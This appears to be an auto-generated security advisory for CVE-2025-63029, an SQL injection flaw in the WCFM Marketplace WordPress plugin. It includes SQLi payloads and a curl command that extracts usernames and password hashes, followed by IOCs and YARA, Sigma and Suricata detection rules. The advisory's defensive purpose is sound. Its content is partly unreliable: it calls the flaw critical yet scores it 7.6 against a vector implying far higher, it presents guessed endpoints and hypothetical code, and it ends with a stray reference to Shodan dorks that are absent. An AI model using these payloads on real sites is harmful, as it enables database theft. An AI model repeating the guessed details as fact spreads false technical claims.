CVE-2025-63029
Executive Summary
CVE-2025-63029 is a critical SQL Injection vulnerability discovered in the WCFM Marketplace plugin for WordPress, developed by WC Lovers. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands into the application’s database queries, potentially leading to complete data exfiltration, modification, or deletion. The vulnerability affects all versions of the plugin up to and including 3.7.1. As a WordPress ecosystem issue, the attack surface is broad, with millions of WooCommerce stores potentially exposed. No public proof-of-concept (PoC) or patch is currently available, elevating the risk for unpatched installations.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using WCFM Marketplace should treat this as a supply chain risk, as the plugin is a dependency for many WooCommerce-based e-commerce sites. No patched version has been released, and the vendor’s response status is unknown.
CVSS Breakdown & Threat Level
- CVSS Score: 7.6 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on data confidentiality, integrity, and availability. An attacker can execute arbitrary SQL commands, potentially dumping the entire WordPress database, including user credentials, order data, and sensitive configuration details.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of special elements used in an SQL command within the WCFM Marketplace plugin. The plugin likely fails to sanitize user-supplied input before incorporating it into SQL queries, allowing an attacker to break out of the intended query structure.
Root Cause: The plugin uses unsanitized $_GET, $_POST, or $_REQUEST parameters directly in SQL statements, likely in functions handling product search, vendor filtering, or AJAX endpoints. For example, a parameter like search_term might be concatenated into a query without using prepared statements or parameterized queries.
Attack Vector: An unauthenticated attacker can send a crafted HTTP request to a vulnerable endpoint, injecting SQL commands. Common injection points include:
wcfmmp-productsshortcode parameters- AJAX actions like
wcfm_ajax_controller - Vendor search or filter forms
Impact: Successful exploitation allows the attacker to:
- Extract all WordPress user credentials (hashed passwords)
- Read, modify, or delete WooCommerce orders and customer data
- Escalate privileges by modifying user roles
- Potentially gain remote code execution via
INTO OUTFILEorLOAD_FILE(if MySQL file privileges are enabled)
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common SQLi fixes.
Vulnerable Code (PHP):
$search_term = $_GET['search'];
$query = "SELECT * FROM wp_wcfm_products WHERE product_name LIKE '%" . $search_term . "%'";
$results = $wpdb->get_results($query);
Patched Code (PHP):
$search_term = sanitize_text_field($_GET['search']);
$query = $wpdb->prepare("SELECT * FROM wp_wcfm_products WHERE product_name LIKE %s", '%' . $search_term . '%');
$results = $wpdb->get_results($query);
The patched version uses $wpdb->prepare() to parameterize the query, preventing SQL injection. Additionally, sanitize_text_field() removes malicious characters.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with WCFM Marketplace <= 3.7.1 installed and activated.
- A vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=wcfm_ajax_controller&controller=wcfm-products&search=test).
Exploitation Steps:
- Identify a vulnerable parameter (e.g.,
search,vendor,category). - Inject a SQL payload to test for injection:
' OR '1'='1' -- - - Use a UNION-based injection to extract data:
' UNION SELECT user_login, user_pass FROM wp_users -- - - For time-based blind injection:
' AND SLEEP(5) -- -
Example cURL Command:
curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=wcfm_ajax_controller&controller=wcfm-products&search=' UNION SELECT user_login,user_pass,user_email FROM wp_users-- -"
Note: No public exploit code is available; the above is a generic SQLi technique.
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for SQL injection patterns in query strings (e.g.,
' OR,UNION SELECT,SLEEP(). - Use a Web Application Firewall (WAF) with rules to block SQLi attempts.
- Enable WordPress audit logging to track suspicious AJAX requests.
Mitigation:
- Immediately disable or remove the WCFM Marketplace plugin until a patch is released.
- Implement input validation and output escaping for all user-supplied data.
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing SQL keywords in GET/POST parameters:
' OR '1'='1UNION SELECTSLEEP(INTO OUTFILE
- Unusual database error messages in HTTP responses (e.g.,
You have an error in your SQL syntax).
File IOCs:
- Modified WordPress core files (e.g.,
wp-config.phpwith new database credentials). - Suspicious PHP files in
wp-content/uploads/orwp-content/plugins/wcfm-marketplace/.
Log IOCs:
- Repeated 500 Internal Server Errors from AJAX endpoints.
- Database queries with unexpected syntax in MySQL slow query log.
Detection Engineering
YARA Rule
rule CVE_2025_63029_WCFM_SQLi {
meta:
description = "Detects SQL injection attempts targeting WCFM Marketplace plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-63029"
strings:
$sqli1 = /[?&](search|vendor|category)=.*['\"]\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/i
$sqli2 = /['\"]\s*--\s*-/
$sqli3 = /admin-ajax\.php.*action=wcfm_ajax_controller/
condition:
any of ($sqli*) and #sqli3 > 0
}
Sigma Rule
title: SQL Injection Attempt Against WCFM Marketplace
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests targeting WCFM Marketplace endpoints
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-63029
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'admin-ajax.php'
- 'action=wcfm_ajax_controller'
cs-uri-query|re:
- "['\"]\\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)"
- "['\"]\\s*--\\s*-"
condition: selection
falsepositives:
- Legitimate use of special characters in search terms (rare)
level: high
tags:
- attack.t1190
- cve.2025.63029
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-63029 WCFM Marketplace SQL Injection Attempt"; flow:to_server,established; content:"admin-ajax.php"; http_uri; content:"action=wcfm_ajax_controller"; http_uri; pcre:"/(?i)(%27|%22|\x27|\x22)\s*(OR|AND|UNION|SELECT|SLEEP|BENCHMARK)/Ri"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and remove WCFM Marketplace from all WordPress installations until a patched version is released.
- Apply virtual patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block SQLi patterns targeting the plugin’s endpoints.
- Audit database: Check for unauthorized changes or data exfiltration using database logs.
Long-term Fix:
- Monitor the vendor’s website (https://wclovers.com) for an official patch.
- Once patched, update to the latest version immediately.
- Implement a WordPress security policy requiring all plugins to use prepared statements.
Workarounds:
- If the plugin cannot be disabled, restrict access to its AJAX endpoints via
.htaccess:<FilesMatch "admin-ajax\.php"> Order Deny,Allow Deny from all Allow from 127.0.0.1 </FilesMatch> - Use a WordPress security plugin to add input sanitization rules.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.